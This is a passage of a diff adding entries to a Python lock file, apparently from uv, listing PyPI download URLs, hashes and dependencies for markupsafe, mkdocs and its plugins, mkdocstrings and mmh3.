"https://files.pythonhosted.org/packages/50/09/c419f6f5a92e5fadde27efd190eca90f05e1261b10dbd8cbcb39cd8ea1dc/markupsafe-3.0.3-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:fed51ac40f757d41b7c48425901843666a6677e3e8eb0abcff09e4ba6e664f50", size = 23598, upload-time = "2025-09-27T18:37:21.177Z" }, + { url = "https://files.pythonhosted.org/packages/22/44/a0681611106e0b2921b3033fc19bc53323e0b50bc70cffdd19f7d679bb66/markupsafe-3.0.3-cp314-cp314t-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:f190daf01f13c72eac4efd5c430a8de82489d9cff23c364c3ea822545032993e", size = 23261, upload-time = "2025-09-27T18:37:22.167Z" }, + { url = "https://files.pythonhosted.org/packages/5f/57/1b0b3f100259dc9fffe780cfb60d4be71375510e435efec3d116b6436d43/markupsafe-3.0.3-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:e56b7d45a839a697b5eb268c82a71bd8c7f6c94d6fd50c3d577fa39a9f1409f5", size = 24835, upload-time = "2025-09-27T18:37:23.296Z" }, + { url = "https://files.pythonhosted.org/packages/26/6a/4bf6d0c97c4920f1597cc14dd720705eca0bf7c787aebc6bb4d1bead5388/markupsafe-3.0.3-cp314-cp314t-musllinux_1_2_riscv64.whl", hash = "sha256:f3e98bb3798ead92273dc0e5fd0f31ade220f59a266ffd8a4f6065e0a3ce0523", size = 22733, upload-time = "2025-09-27T18:37:24.237Z" }, + { url = "https://files.pythonhosted.org/packages/14/c7/ca723101509b518797fedc2fdf79ba57f886b4aca8a7d31857ba3ee8281f/markupsafe-3.0.3-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:5678211cb9333a6468fb8d8be0305520aa073f50d17f089b5b4b477ea6e67fdc", size = 23672, upload-time = "2025-09-27T18:37:25.271Z" }, + { url = "https://files.pythonhosted.org/packages/fb/df/5bd7a48c256faecd1d36edc13133e51397e41b73bb77e1a69deab746ebac/markupsafe-3.0.3-cp314-cp314t-win32.whl", hash = "sha256:915c04ba3851909ce68ccc2b8e2cd691618c4dc4c4232fb7982bca3f41fd8c3d", size = 14819, upload-time = "2025-09-27T18:37:26.285Z" }, + { url = "https://files.pythonhosted.org/packages/1a/8a/0402ba61a2f16038b48b39bccca271134be00c5c9f0f623208399333c448/markupsafe-3.0.3-cp314-cp314t-win_amd64.whl", hash = "sha256:4faffd047e07c38848ce017e8725090413cd80cbc23d86e55c587bf979e579c9", size = 15426, upload-time = "2025-09-27T18:37:27.316Z" }, + { url = "https://files.pythonhosted.org/packages/70/bc/6f1c2f612465f5fa89b95bead1f44dcb607670fd42891d8fdcd5d039f4f4/markupsafe-3.0.3-cp314-cp314t-win_arm64.whl", hash = "sha256:32001d6a8fc98c8cb5c947787c5d08b0a50663d139f1305bac5885d98d9b40fa", size = 14146, upload-time = "2025-09-27T18:37:28.327Z" }, +] + +[[package]] +name = "mergedeep" +version = "1.3.4" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/3a/41/580bb4006e3ed0361b8151a01d324fb03f420815446c7def45d02f74c270/mergedeep-1.3.4.tar.gz", hash = "sha256:0096d52e9dad9939c3d975a774666af186eda617e6ca84df4c94dec30004f2a8", size = 4661, upload-time = "2021-02-05T18:55:30.623Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/2c/19/04f9b178c2d8a15b076c8b5140708fa6ffc5601fb6f1e975537072df5b2a/mergedeep-1.3.4-py3-none-any.whl", hash = "sha256:70775750742b25c0d8f36c55aed03d24c3384d17c951b3175d898bd778ef0307", size = 6354, upload-time = "2021-02-05T18:55:29.583Z" }, +] + +[[package]] +name = "mike" +version = "2.1.3" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "importlib-metadata" }, + { name = "importlib-resources" }, + { name = "jinja2" }, + { name = "mkdocs" }, + { name = "pyparsing" }, + { name = "pyyaml" }, + { name = "pyyaml-env-tag" }, + { name = "verspec" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/ab/f7/2933f1a1fb0e0f077d5d6a92c6c7f8a54e6128241f116dff4df8b6050bbf/mike-2.1.3.tar.gz", hash = "sha256:abd79b8ea483fb0275b7972825d3082e5ae67a41820f8d8a0dc7a3f49944e810", size = 38119, upload-time = "2024-08-13T05:02:14.167Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/fd/1a/31b7cd6e4e7a02df4e076162e9783620777592bea9e4bb036389389af99d/mike-2.1.3-py3-none-any.whl", hash = "sha256:d90c64077e84f06272437b464735130d380703a76a5738b152932884c60c062a", size = 33754, upload-time = "2024-08-13T05:02:12.515Z" }, +] + +[[package]] +name = "mkdocs" +version = "1.6.1" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "click" }, + { name = "colorama", marker = "sys_platform == 'win32'" }, + { name = "ghp-import" }, + { name = "jinja2" }, + { name = "markdown" }, + { name = "markupsafe" }, + { name = "mergedeep" }, + { name = "mkdocs-get-deps" }, + { name = "packaging" }, + { name = "pathspec" }, + { name = "pyyaml" }, + { name = "pyyaml-env-tag" }, + { name = "watchdog" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/bc/c6/bbd4f061bd16b378247f12953ffcb04786a618ce5e904b8c5a01a0309061/mkdocs-1.6.1.tar.gz", hash = "sha256:7b432f01d928c084353ab39c57282f29f92136665bdd6abf7c1ec8d822ef86f2", size = 3889159, upload-time = "2024-08-30T12:24:06.899Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/22/5b/dbc6a8cddc9cfa9c4971d59fb12bb8d42e161b7e7f8cc89e49137c5b279c/mkdocs-1.6.1-py3-none-any.whl", hash = "sha256:db91759624d1647f3f34aa0c3f327dd2601beae39a366d6e064c03468d35c20e", size = 3864451, upload-time = "2024-08-30T12:24:05.054Z" }, +] + +[[package]] +name = "mkdocs-autorefs" +version = "1.4.4" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "markdown" }, + { name = "markupsafe" }, + { name = "mkdocs" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/52/c0/f641843de3f612a6b48253f39244165acff36657a91cc903633d456ae1ac/mkdocs_autorefs-1.4.4.tar.gz", hash = "sha256:d54a284f27a7346b9c38f1f852177940c222da508e66edc816a0fa55fc6da197", size = 56588, upload-time = "2026-02-10T15:23:55.105Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/28/de/a3e710469772c6a89595fc52816da05c1e164b4c866a89e3cb82fb1b67c5/mkdocs_autorefs-1.4.4-py3-none-any.whl", hash = "sha256:834ef5408d827071ad1bc69e0f39704fa34c7fc05bc8e1c72b227dfdc5c76089", size = 25530, upload-time = "2026-02-10T15:23:53.817Z" }, +] + +[[package]] +name = "mkdocs-extra-sass-plugin" +version = "0.1.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "beautifulsoup4" }, + { name = "libsass" }, + { name = "mkdocs" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/8e/09/96284d51afae05aa35ffb17617a4ef819c06852bea566b935a1c1119660c/mkdocs-extra-sass-plugin-0.1.0.tar.gz", hash = "sha256:cca7ae778585514371b22a63bcd69373d77e474edab4b270cf2924e05c879219", size = 4973, upload-time = "2021-01-30T04:20:44.677Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/ed/25/620659b5f9390b9b3ce2c0017cd3aef76d112a87bc2800640bdc2727b597/mkdocs_extra_sass_plugin-0.1.0-py3-none-any.whl", hash = "sha256:10aa086fa8ef1fc4650f7bb6927deb7bf5bbf5a2dd3178f47e4ef44546b156db", size = 5352, upload-time = "2021-01-30T04:20:46.064Z" }, +] + +[[package]] +name = "mkdocs-get-deps" +version = "0.2.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "mergedeep" }, + { name = "platformdirs" }, + { name = "pyyaml" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/98/f5/ed29cd50067784976f25ed0ed6fcd3c2ce9eb90650aa3b2796ddf7b6870b/mkdocs_get_deps-0.2.0.tar.gz", hash = "sha256:162b3d129c7fad9b19abfdcb9c1458a651628e4b1dea628ac68790fb3061c60c", size = 10239, upload-time = "2023-11-20T17:51:09.981Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/9f/d4/029f984e8d3f3b6b726bd33cafc473b75e9e44c0f7e80a5b29abc466bdea/mkdocs_get_deps-0.2.0-py3-none-any.whl", hash = "sha256:2bf11d0b133e77a0dd036abeeb06dec8775e46efa526dc70667d8863eefc6134", size = 9521, upload-time = "2023-11-20T17:51:08.587Z" }, +] + +[[package]] +name = "mkdocs-material" +version = "9.7.1" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "babel" }, + { name = "backrefs" }, + { name = "colorama" }, + { name = "jinja2" }, + { name = "markdown" }, + { name = "mkdocs" }, + { name = "mkdocs-material-extensions" }, + { name = "paginate" }, + { name = "pygments" }, + { name = "pymdown-extensions" }, + { name = "requests" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/27/e2/2ffc356cd72f1473d07c7719d82a8f2cbd261666828614ecb95b12169f41/mkdocs_material-9.7.1.tar.gz", hash = "sha256:89601b8f2c3e6c6ee0a918cc3566cb201d40bf37c3cd3c2067e26fadb8cce2b8", size = 4094392, upload-time = "2025-12-18T09:49:00.308Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/3e/32/ed071cb721aca8c227718cffcf7bd539620e9799bbf2619e90c757bfd030/mkdocs_material-9.7.1-py3-none-any.whl", hash = "sha256:3f6100937d7d731f87f1e3e3b021c97f7239666b9ba1151ab476cabb96c60d5c", size = 9297166, upload-time = "2025-12-18T09:48:56.664Z" }, +] + +[[package]] +name = "mkdocs-material-extensions" +version = "1.3.1" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/79/9b/9b4c96d6593b2a541e1cb8b34899a6d021d208bb357042823d4d2cabdbe7/mkdocs_material_extensions-1.3.1.tar.gz", hash = "sha256:10c9511cea88f568257f960358a467d12b970e1f7b2c0e5fb2bb48cab1928443", size = 11847, upload-time = "2023-11-22T19:09:45.208Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/5b/54/662a4743aa81d9582ee9339d4ffa3c8fd40a4965e033d77b9da9774d3960/mkdocs_material_extensions-1.3.1-py3-none-any.whl", hash = "sha256:adff8b62700b25cb77b53358dad940f3ef973dd6db797907c49e3c2ef3ab4e31", size = 8728, upload-time = "2023-11-22T19:09:43.465Z" }, +] + +[[package]] +name = "mkdocstrings" +version = "0.30.1" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "jinja2" }, + { name = "markdown" }, + { name = "markupsafe" }, + { name = "mkdocs" }, + { name = "mkdocs-autorefs" }, + { name = "pymdown-extensions" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/c5/33/2fa3243439f794e685d3e694590d28469a9b8ea733af4b48c250a3ffc9a0/mkdocstrings-0.30.1.tar.gz", hash = "sha256:84a007aae9b707fb0aebfc9da23db4b26fc9ab562eb56e335e9ec480cb19744f", size = 106350, upload-time = "2025-09-19T10:49:26.446Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/7b/2c/f0dc4e1ee7f618f5bff7e05898d20bf8b6e7fa612038f768bfa295f136a4/mkdocstrings-0.30.1-py3-none-any.whl", hash = "sha256:41bd71f284ca4d44a668816193e4025c950b002252081e387433656ae9a70a82", size = 36704, upload-time = "2025-09-19T10:49:24.805Z" }, +] + +[[package]] +name = "mkdocstrings-python" +version = "2.0.2" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "griffe" }, + { name = "mkdocs-autorefs" }, + { name = "mkdocstrings" }, + { name = "typing-extensions", marker = "python_full_version < '3.11'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/25/84/78243847ad9d5c21d30a2842720425b17e880d99dfe824dee11d6b2149b4/mkdocstrings_python-2.0.2.tar.gz", hash = "sha256:4a32ccfc4b8d29639864698e81cfeb04137bce76bb9f3c251040f55d4b6e1ad8", size = 199124, upload-time = "2026-02-09T15:12:01.543Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/f3/31/7ee938abbde2322e553a2cb5f604cdd1e4728e08bba39c7ee6fae9af840b/mkdocstrings_python-2.0.2-py3-none-any.whl", hash = "sha256:31241c0f43d85a69306d704d5725786015510ea3f3c4bdfdb5a5731d83cdc2b0", size = 104900, upload-time = "2026-02-09T15:12:00.166Z" }, +] + +[[package]] +name = "mmh3" +version = "5.2.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/a7/af/f28c2c2f51f31abb4725f9a64bc7863d5f491f6539bd26aee2a1d21a649e/mmh3-5.2.0.tar.gz", hash = "sha256:1efc8fec8478e9243a78bb993422cf79f8ff85cb4cf6b79647480a31e0d950a8", size = 33582, upload-time = "2025-07-29T07:43:48.49Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/b9/2b/870f0ff5ecf312c58500f45950751f214b7068665e66e9bfd8bc2595587c/mmh3-5.2.0-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:81c504ad11c588c8629536b032940f2a359dda3b6cbfd4ad8f74cb24dcd1b0bc", size = 56119, upload-time = "2025-07-29T07:41:39.117Z" }, + { url = "https://files.pythonhosted.org/packages/3b/88/eb9a55b3f3cf43a74d6bfa8db0e2e209f966007777a1dc897c52c008314c/mmh3-5.2.0-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:0b898cecff57442724a0f52bf42c2de42de63083a91008fb452887e372f9c328", size = 40634, upload-time = "2025-07-29T07:41:40.626Z" }, + { url = "https://files.pythonhosted.org/packages/d1/4c/8e4b3878bf8435c697d7ce99940a3784eb864521768069feaccaff884a17/mmh3-5.2.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:be1374df449465c9f2500e62eee73a39db62152a8bdfbe12ec5b5c1cd451344d", size = 40080, upload-time = "2025-07-29T07:41:41.791Z" }, + { url = "https://files.pythonhosted.org/packages/45/ac/0a254402c8c5ca424a0a9ebfe870f5665922f932830f0a11a517b6390a09/mmh3-5.2.0-cp310-cp310-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:b0d753ad566c721faa33db7e2e0eddd74b224cdd3eaf8481d76c926603c7a00e", size = 95321, upload-time = "2025-07-29T07:41:42.659Z" }, + { url = "https://files.pythonhosted.org/packages/39/8e/29306d5eca6dfda4b899d22c95b5420db4e0ffb7e0b6389b17379654ece5/mmh3-5.2.0-cp310-cp310-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:dfbead5575f6470c17e955b94f92d62a03dfc3d07f2e6f817d9b93dc211a1515", size = 101220, upload-time = "2025-07-29T07:41:43.572Z" }, + { url = "https://files.pythonhosted.org/packages/49/f7/0dd1368e531e52a17b5b8dd2f379cce813bff2d0978a7748a506f1231152/mmh3-5.2.0-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:7434a27754049144539d2099a6d2da5d88b8bdeedf935180bf42ad59b3607aa3", size = 103991, upload-time = "2025-07-29T07:41:44.914Z" }, + { url = "https://files.pythonhosted.org/packages/35/06/abc7122c40f4abbfcef01d2dac6ec0b77ede9757e5be8b8a40a6265b1274/mmh3-5.2.0-cp310-cp310-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:cadc16e8ea64b5d9a47363013e2bea469e121e6e7cb416a7593aeb24f2ad122e", size = 110894, upload-time = "2025-07-29T07:41:45.849Z" }, + { url = "https://files.pythonhosted.org/packages/f4/2f/837885759afa4baccb8e40456e1cf76a4f3eac835b878c727ae1286c5f82/mmh3-5.2.0-cp310-cp310-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:d765058da196f68dc721116cab335e696e87e76720e6ef8ee5a24801af65e63d", size = 118327, upload-time = "2025-07-29T07:41:47.224Z" }, + { url = "https://files.pythonhosted.org/packages/40/cc/5683ba20a21bcfb3f1605b1c474f46d30354f728a7412201f59f453d405a/mmh3-5.2.0-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:8b0c53fe0994beade1ad7c0f13bd6fec980a0664bfbe5a6a7d64500b9ab76772", size = 101701, upload-time = "2025-07-29T07:41:48.259Z" }, + { url = "https://files.pythonhosted.org/packages/0e/24/99ab3fb940150aec8a26dbdfc39b200b5592f6aeb293ec268df93e054c30/mmh3-5.2.0-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:49037d417419863b222ae47ee562b2de9c3416add0a45c8d7f4e864be8dc4f89", size = 96712, upload-time = "2025-07-29T07:41:49.467Z" }, + { url = "https://files.pythonhosted.org/packages/61/04/d7c4cb18f1f001ede2e8aed0f9dbbfad03d161c9eea4fffb03f14f4523e5/mmh3-5.2.0-cp310-cp310-musllinux_1_2_ppc64le.whl", hash = "sha256:6ecb4e750d712abde046858ee6992b65c93f1f71b397fce7975c3860c07365d2", size = 110302, upload-time = "2025-07-29T07:41:50.387Z" }, + { url = "https://files.pythonhosted.org/packages/d8/bf/4dac37580cfda74425a4547500c36fa13ef581c8a756727c37af45e11e9a/mmh3-5.2.0-cp310-cp310-musllinux_1_2_s390x.whl", hash = "sha256:382a6bb3f8c6532ea084e7acc5be6ae0c6effa529240836d59352398f002e3fc", size = 111929, upload-time = "2025-07-29T07:41:51.348Z" }, + { url = "https://files.pythonhosted.org/packages/eb/b1/49f0a582c7a942fb71ddd1ec52b7d21d2544b37d2b2d994551346a15b4f6/mmh3-5.2.0-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:7733ec52296fc1ba22e9b90a245c821adbb943e98c91d8a330a2254612726106", size = 100111, upload-time = "2025-07-29T07:41:53.139Z" }, + { url = "https://files.pythonhosted.org/packages/dc/94/ccec09f438caeb2506f4c63bb3b99aa08a9e09880f8fc047295154756210/mmh3-5.2.0-cp310-cp310-win32.whl", hash = "sha256:127c95336f2a98c51e7682341ab7cb0be3adb9df0819ab8505a726ed1801876d", size = 40783, upload-time = "2025-07-29T07:41:54.463Z" }, + { url = "https://files.pythonhosted.org/packages/ea/f4/8d39a32c8203c1cdae88fdb04d1ea4aa178c20f159df97f4c5a2eaec702c/mmh3-5.2.0-cp310-cp310-win_amd64.whl", hash = "sha256:419005f84ba1cab47a77465a2a843562dadadd6671b8758bf179d82a15ca63eb", size = 41549, upload-time = "2025-07-29T07:41:55.295Z" }, + { url = "https://files.pythonhosted.org/packages/cc/a1/30efb1cd945e193f62574144dd92a0c9ee6463435e4e8ffce9b9e9f032f0/mmh3-5.2.0-cp310-cp310-win_arm64.whl", hash = "sha256:d22c9dcafed659fadc605538946c041722b6d1104fe619dbf5cc73b3c8a0ded8", size = 39335, upload-time = "2025-07-29T07:41:56.194Z" }, + { url = "https://files.pythonhosted.org/packages/f7/87/399567b3796e134352e11a8b973cd470c06b2ecfad5468fe580833be442b/mmh3-5.2.0-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:7901c893e704ee3c65f92d39b951f8f34ccf8e8566768c58103fb10e55afb8c1", size = 56107, upload-time = "2025-07-29T07:41:57.07Z" }, + { url = "https://files.pythonhosted.org/packages/c3/09/830af30adf8678955b247d97d3d9543dd2fd95684f3cd41c0cd9d291da9f/mmh3-5.2.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:4a5f5536b1cbfa72318ab3bfc8a8188b949260baed186b75f0abc75b95d8c051", size = 40635, upload-time = "2025-07-29T07:41:57.903Z" }, + { url = "https://files.pythonhosted.org/packages/07/14/eaba79eef55b40d653321765ac5e8f6c9ac38780b8a7c2a2f8df8ee0fb72/mmh3-5.2.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:cedac4f4054b8f7859e5aed41aaa31ad03fce6851901a7fdc2af0275ac533c10", size = 40078, upload-time = "2025-07-29T07:41:58.772Z" }, + { url = "https://files.pythonhosted.org/packages/bb/26/83a0f852e763f81b2265d446b13ed6d49ee49e1fc0c47b9655977e6f3d81/mmh3-5.2.0-cp311-cp311-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:eb756caf8975882630ce4e9fbbeb9d3401242a72528230422c9ab3a0d278e60c", size = 97262, upload-time = "2025-07-29T07:41:59.678Z" }, + { url = "https://files.pythonhosted.org/packages/00/7d/b7133b10d12239aeaebf6878d7eaf0bf7d3738c44b4aba3c564588f6d802/mmh3-5.2.0-cp311-cp311-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:097e13c8b8a66c5753c6968b7640faefe85d8e38992703c1f666eda6ef4c3762", size = 103118, upload-time = "2025-07-29T07:42:01.197Z" }, + { url = "https://files.pythonhosted.org/packages/7b/3e/62f0b5dce2e22fd5b7d092aba285abd7959ea2b17148641e029f2eab1ffa/mmh3-5.2.0-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:a7c0c7845566b9686480e6a7e9044db4afb60038d5fabd19227443f0104eeee4", size = 106072, upload-time = "2025-07-29T07:42:02.601Z" }, + { url = "https://files.pythonhosted.org/packages/66/84/ea88bb816edfe65052c757a1c3408d65c4201ddbd769d4a287b0f1a628b2/mmh3-5.2.0-cp311-cp311-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:61ac226af521a572700f863d6ecddc6ece97220ce7174e311948ff8c8919a363", size = 112925, upload-time = "2025-07-29T07:42:03.632Z" }, + { url = "https://files.pythonhosted.org/packages/2e/13/c9b1c022807db575fe4db806f442d5b5784547e2e82cff36133e58ea31c7/mmh3-5.2.0-cp311-cp311-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:582f9dbeefe15c32a5fa528b79b088b599a1dfe290a4436351c6090f90ddebb8", size = 120583, upload-time = "2025-07-29T07:42:04.991Z" }, + { url = "https://files.pythonhosted.org/packages/8a/5f/0e2dfe1a38f6a78788b7eb2b23432cee24623aeabbc907fed07fc17d6935/mmh3-5.2.0-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:2ebfc46b39168ab1cd44670a32ea5489bcbc74a25795c61b6d888c5c2cf654ed", size = 99127, upload-time = "2025-07-29T07:42:05.929Z" }, + { url = "https://files.pythonhosted.org/packages/77/27/aefb7d663b67e6a0c4d61a513c83e39ba2237e8e4557fa7122a742a23de5/mmh3-5.2.0-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:1556e31e4bd0ac0c17eaf220be17a09c171d7396919c3794274cb3415a9d3646", size = 98544, upload-time = "2025-07-29T07:42:06.87Z" }, + { url = "https://files.pythonhosted.org/packages/ab/97/a21cc9b1a7c6e92205a1b5fa030cdf62277d177570c06a239eca7bd6dd32/mmh3-5.2.0-cp311-cp311-musllinux_1_2_ppc64le.whl", hash = "sha256:81df0dae22cd0da87f1c978602750f33d17fb3d21fb0f326c89dc89834fea79b", size = 106262, upload-time = "2025-07-29T07:42:07.804Z" }, + { url = "https://files.pythonhosted.org/packages/43/18/db19ae82ea63c8922a880e1498a75342311f8aa0c581c4dd07711473b5f7/mmh3-5.2.0-cp311-cp311-musllinux_1_2_s390x.whl", hash = "sha256:eba01ec3bd4a49b9ac5ca2bc6a73ff5f3af53374b8556fcc2966dd2af9eb7779", size = 109824, upload-time = "2025-07-29T07:42:08.735Z" }, + { url = "https://files.pythonhosted.org/packages/9f/f5/41dcf0d1969125fc6f61d8618b107c79130b5af50b18a4651210ea52ab40/mmh3-5.2.0-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:e9a011469b47b752e7d20de296bb34591cdfcbe76c99c2e863ceaa2aa61113d2", size = 97255, upload-time = "2025-07-29T07:42:09.706Z" }, + { url = "https://files.pythonhosted.org/packages/32/b3/cce9eaa0efac1f0e735bb178ef9d1d2887b4927fe0ec16609d5acd492dda/mmh3-5.2.0-cp311-cp311-win32.whl", hash = "sha256:bc44fc2b886243d7c0d8daeb37864e16f232e5b56aaec27cc781d848264cfd28", size = 40779, upload-time = "2025-07-29T07:42:10.546Z" }, + { url = "https://files.pythonhosted.org/packages/7c/e9/3fa0290122e6d5a7041b50ae500b8a9f4932478a51e48f209a3879fe0b9b/mmh3-5.2.0-cp311-cp311-win_amd64.whl", hash = "sha256:8ebf241072cf2777a492d0e09252f8cc2b3edd07dfdb9404b9757bffeb4f2cee", size = 41549, upload-time = "2025-07-29T07:42:11.399Z" }, + { url = "https://files.pythonhosted.org/packages/3a/54/c277475b4102588e6f06b2e9095ee758dfe31a149312cdbf62d39a9f5c30/mmh3-5.2.0-cp311-cp311-win_arm64.whl", hash = "sha256:b5f317a727bba0e633a12e71228bc6a4acb4f471a98b1c003163b917311ea9a9", size = 39336, upload-time = "2025-07-29T07:42:12.209Z" }, + { url = "https://files.pythonhosted.org/packages/bf/6a/d5aa7edb5c08e0bd24286c7d08341a0446f9a2fbbb97d96a8a6dd81935ee/mmh3-5.2.0-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:384eda9361a7bf83a85e09447e1feafe081034af9dd428893701b959230d84be", size = 56141, upload-time = "2025-07-29T07:42:13.456Z" }, + { url = "https://files.pythonhosted.org/packages/08/49/131d0fae6447bc4a7299ebdb1a6fb9d08c9f8dcf97d75ea93e8152ddf7ab/mmh3-5.2.0-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:2c9da0d568569cc87315cb063486d761e38458b8ad513fedd3dc9263e1b81bcd", size = 40681, upload-time = "2025-07-29T07:42:14.306Z" }, + { url = "https://files.pythonhosted.org/packages/8f/6f/9221445a6bcc962b7f5ff3ba18ad55bba624bacdc7aa3fc0a518db7da8ec/mmh3-5.2.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:86d1be5d63232e6eb93c50881aea55ff06eb86d8e08f9b5417c8c9b10db9db96", size = 40062, upload-time = "2025-07-29T07:42:15.08Z" }, + { url = "https://files.pythonhosted.org/packages/1e/d4/6bb2d0fef81401e0bb4c297d1eb568b767de4ce6fc00890bc14d7b51ecc4/mmh3-5.2.0-cp312-cp312-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:bf7bee43e17e81671c447e9c83499f53d99bf440bc6d9dc26a841e21acfbe094", size = 97333, upload-time = "2025-07-29T07:42:16.436Z" }, + { url = "https://files.pythonhosted.org/packages/44/e0/ccf0daff8134efbb4fbc10a945ab53302e358c4b016ada9bf97a6bdd50c1/mmh3-5.2.0-cp312-cp312-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:7aa18cdb58983ee660c9c400b46272e14fa253c675ed963d3812487f8ca42037", size = 103310, upload-time = "2025-07-29T07:42:17.796Z" }, + { url = "https://files.pythonhosted.org/packages/02/63/1965cb08a46533faca0e420e06aff8bbaf9690a6f0ac6ae6e5b2e4544687/mmh3-5.2.0-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:ae9d032488fcec32d22be6542d1a836f00247f40f320844dbb361393b5b22773", size = 106178, upload-time = "2025-07-29T07:42:19.281Z" }, + { url = "https://files.pythonhosted.org/packages/c2/41/c883ad8e2c234013f27f92061200afc11554ea55edd1bcf5e1accd803a85/mmh3-5.2.0-cp312-cp312-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:e1861fb6b1d0453ed7293200139c0a9011eeb1376632e048e3766945b13313c5", size = 113035, upload-time = "2025-07-29T07:42:20.356Z" }, + { url = "https://files.pythonhosted.org/packages/df/b5/1ccade8b1fa625d634a18bab7bf08a87457e09d5ec8cf83ca07cbea9d400/mmh3-5.2.0-cp312-cp312-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:99bb6a4d809aa4e528ddfe2c85dd5239b78b9dd14be62cca0329db78505e7b50", size = 120784, upload-time = "2025-07-29T07:42:21.377Z" }, + { url = "https://files.pythonhosted.org/packages/77/1c/919d9171fcbdcdab242e06394464ccf546f7d0f3b31e0d1e3a630398782e/mmh3-5.2.0-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:1f8d8b627799f4e2fcc7c034fed8f5f24dc7724ff52f69838a3d6d15f1ad4765", size = 99137, upload-time = "2025-07-29T07:42:22.344Z" }, + { url = "https://files.pythonhosted.org/packages/66/8a/1eebef5bd6633d36281d9fc83cf2e9ba1ba0e1a77dff92aacab83001cee4/mmh3-5.2.0-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:b5995088dd7023d2d9f310a0c67de5a2b2e06a570ecfd00f9ff4ab94a67cde43", size = 98664, upload-time = "2025-07-29T07:42:23.269Z" }, + { url = "https://files.pythonhosted.org/packages/13/41/a5d981563e2ee682b21fb65e29cc0f517a6734a02b581359edd67f9d0360/mmh3-5.2.0-cp312-cp312-musllinux_1_2_ppc64le.whl", hash = "sha256:1a5f4d2e59d6bba8ef01b013c472741835ad961e7c28f50c82b27c57748744a4", size = 106459, upload-time = "2025-07-29T07:42:24.238Z" }, + { url = "https://files.pythonhosted.org/packages/24/31/342494cd6ab792d81e083680875a2c50fa0c5df475ebf0b67784f13e4647/mmh3-5.2.0-cp312-cp312-musllinux_1_2_s390x.whl", hash = "sha256:fd6e6c3d90660d085f7e73710eab6f5545d4854b81b0135a3526e797009dbda3", size = 110038, upload-time = "2025-07-29T07:42:25.629Z" }, + { url = 